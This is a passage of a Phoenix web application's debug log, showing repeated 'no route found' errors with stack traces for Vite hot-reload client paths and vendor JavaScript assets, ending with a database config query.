    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:19.733000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /bundledDevClient.mjs
[Thu Sep  3 18:25:19.752000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:64252] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:19.797000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /vite/client
[Thu Sep  3 18:25:19.814000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:20.711000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /vite/client.js
[Thu Sep  3 18:25:20.727000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:21.085000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /vite/client.mjs
[Thu Sep  3 18:25:21.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:21.805000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /vite/hmr
[Thu Sep  3 18:25:21.827000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:64252] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:21.859000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33116] GET /vite/hmr.js
[Thu Sep  3 18:25:21.873000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33116] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:22.018000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /vite/hmr.mjs
[Thu Sep  3 18:25:22.033000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:22.788000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /@hmr
[Thu Sep  3 18:25:22.810000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:23.046000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33116] GET /@hmr.js
[Thu Sep  3 18:25:23.062000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33116] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:23.495000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /@hmr.mjs
[Thu Sep  3 18:25:23.509000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:23.888000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /__hmrClient
[Thu Sep  3 18:25:23.907000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:24.428000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /__hmrClient.js
[Thu Sep  3 18:25:24.443000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:64252] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:24.591000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /__hmrClient.mjs
[Thu Sep  3 18:25:24.611000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:38.359000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33116] GET /assets/vendor/ag-grid-community.min.js
[Thu Sep  3 18:25:38.383000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33116] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-community.min.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:38.463000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /assets/vendor/ag-grid-enterprise.js
[Thu Sep  3 18:25:38.480000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-enterprise.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:38.506000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /assets/vendor/topbar.js
[Thu Sep  3 18:25:38.530000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/topbar.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1369.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
